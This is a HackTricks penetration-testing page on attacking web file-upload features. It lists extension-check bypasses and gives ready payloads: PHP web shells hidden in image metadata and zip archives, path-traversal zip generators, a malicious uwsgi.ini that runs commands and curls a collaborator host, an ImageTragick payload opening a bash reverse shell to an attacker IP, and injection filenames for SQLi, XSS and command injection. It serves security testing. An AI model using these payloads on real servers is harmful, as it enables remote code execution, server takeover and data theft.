hacktricks/pentesting-web/file-upload

File Upload

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File Upload General Methodology

Other useful extensions:

• PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
• ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
• Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
• Coldfusion: .cfm, .cfml, .cfc, .dbm
• Flash: .swf
• Perl: .pl, .cgi
• Erlang Yaws Web Server: .yaws

Bypass file extensions checks

1. If they apply, the check the previous extensions. Also test them using some uppercase letters: pHp, .pHP5, .PhAr ...

2. Check adding a valid extension before the execution extension (use previous extensions also):

   • file.png.php
   • file.png.Php5

3. Try adding special characters at the end. You could use Burp to bruteforce all the ascii and Unicode characters. (Note that you can also try to use the previously motioned extensions)

   • file.php%20
   • file.php%0a
   • file.php%00
   • file.php%0d%0a
   • file.php/
   • file.php.\
   • file.
   • file.php....
   • file.pHp5....

4. Try to bypass the protections tricking the extension parser of the server-side with techniques like doubling the extension or adding junk data (null bytes) between extensions. You can also use the previous extensions to prepare a better payload.

   • file.png.php
   • file.png.pHp5
   • file.php#.png
   • file.php%00.png
   • file.php\x00.png
   • file.php%0a.png
   • file.php%0d%0a.png
   • file.phpJunk123png

5. Add another layer of extensions to the previous check:

   • file.png.jpg.php
   • file.php%00.png%00.jpg

6. Try to put the exec extension before the valid extension and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension** .php, but not necessarily ending in .php** will execute code):

   • ex: file.php.png

7. Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “::$data” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)

8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php

   # Linux maximum 255 bytes
   /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
   Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
   # Upload the file and check response how many characters it alllows. Let's say 236
   python -c 'print "A" * 232'
   AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
   # Make the payload
   AAA<--SNIP 232 A-->AAA.php.png
   

Bypass Content-Type, Magic Number, Compression & Resizing

• Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
• Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
  exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\ or you could also introduce the payload directly in an image:
  echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
• If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won't be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
  • Github with the code
• The web page cold also be resizing the image, using for example the PHP-GD functions imagecopyresized or imagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression.
  • Github with the code
• Another technique to make a payload that survives an image resizing, using the PHP-GD function thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression.
  • Github with the code

---

Other Tricks to check

• Find a vulnerability to rename the file already uploaded (to change the extension).
• Find a Local File Inclusion vulnerability to execute the backdoor.
• Possible Information disclosure:
  1. Upload several times (and at the same time) the same file with the same name
  2. Upload a file with the name of a file or folder that already exists
  3. Uploading a file with “.”, “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
  4. Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
  5. Upload a file in Windows with invalid characters such as |<>*?” in its name. (Windows)
  6. Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
• Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.

Special extension tricks

If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.

The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script...)

The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.

Jetty RCE

If you can upload a XML file into a Jetty server you can obtain RCE because new *.xml and *.war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!

uWSGI RCE

If you can replace the .ini configuration file of a uWSGI server you can obtain RCE. Indeed uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:

Example of malicious uwsgi.ini file:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

When the configuration file will be parsed payload will be executed. Note that for the config to be parsed, the process need to be restarted (crash? DoS?) or the file autoreloaded (an option that could be in use indicates the seconds to reload the file if a change is found).

Important Note: The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...).

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s      

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won't work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.

Other resources

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
• https://github.com/modzero/mod0BurpUploadScanner
• https://github.com/almandin/fuxploider
• https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html

From File upload to other vulnerabilities

• Set filename to ../../../tmp/lol.png and try to achieve a path traversal
• Set filename to sleep(10)-- -.jpg and you may be able to achieve a SQL injection
• Set filename to <svg onload=alert(document.domain)> to achieve a XSS
• Set filename to ; sleep 10; to test some command injection (more command injections tricks here)
• XSS in image (svg) file upload
• JS file upload + XSS = Service Workers exploitation
• XXE in svg upload
• Open Redirect via uploading svg file
• Try different svg payloads from https://github.com/allanlw/svg-cheatsheet****
• Famous ImageTrick vulnerability
• If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
• XXE and CORS bypass with PDF-Adobe upload
• Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
• Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
• Check if there is any size limit uploading files

Here’s a top 10 list of things that you can achieve by uploading (from link):

1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
2. SVG: Stored XSS / SSRF / XXE
3. GIF: Stored XSS / SSRF
4. CSV: CSV injection
5. XML: XXE
6. AVI: LFI / SSRF
7. HTML / JS : HTML injection / XSS / Open redirect
8. PNG / JPEG: Pixel flood attack (DoS)
9. ZIP: RCE via LFI / DoS
10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{% embed url="https://github.com/portswigger/upload-scanner" %}

Magic Header Bytes

• PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
• JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Symlink

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decompress in different folders

The decompressed files will be created in unexpected folders.

One could easily assume that this setup protects from OS-level command execution via malicious file uploads but unfortunately this is not true. Since ZIP archive format supports hierarchical compression and we can also reference higher level directories we can escape from the safe upload directory by abusing the decompression feature of the target application.

An automated exploit to create this kind of files can be found here: https://github.com/ptoomey3/evilarc

python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

You can also use the symlink trick with evilarc, if the flag is in /flag.txt make sure you crate a symlink to that file and create that file in your system so when you call evilarc it doesn't error.

Some python code to create a malicious zip:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
    z.writestr('otherfile.xml', 'Content of the file')
    z.close()
    zip = open('poc.zip','wb')
    zip.write(f.getvalue())
    zip.close() 

create_zip()

To achieve remote command execution I took the following steps:

1. Create a PHP shell:

<?php 
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
}?>

1. Use “file spraying” and create a compressed zip file:

root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
  adding: xxAcmd.php (deflated 40%)
  adding: xxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
  adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#

3.Use a hexeditor or vi and change the “xxA” to “../”, I used vi:

:set modifiable
:%s/xxA/..\//g
:x!

Done!

Only one step remained: Upload the ZIP file and let the application decompress it! If it is succeeds and the web server has sufficient privileges to write the directories there will be a simple OS command execution shell on the system:

Reference: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

ImageTragic

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Embedding PHP Shell on PNG

The primary reason putting a web shell in the IDAT chunk is that it has the ability to bypass resize and re-sampling operations - PHP-GD contains two functions to do this imagecopyresized and imagecopyresampled.

Read this post: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Polyglots, in a security context, are files that are a valid form of multiple different file types. For example, a GIFAR is both a GIF and a RAR file. There are also files out there that can be both GIF and JS, both PPT and JS, etc.

Polyglot files are often used to bypass protection based on file types. Many applications that allow users to upload files only allow uploads of certain types, such as JPEG, GIF, DOC, so as to prevent users from uploading potentially dangerous files like JS files, PHP files or Phar files.

This helps to upload a file that complins with the format of several different formats. It can allows you to upload a PHAR file (PHp ARchive) that also looks like a JPEG, but probably you will still needs a valid extension and if the upload function doesn't allow it this won't help you.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

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☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
• Discover The PEASS Family, our collection of exclusive NFTs
• Get the official PEASS & HackTricks swag
• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.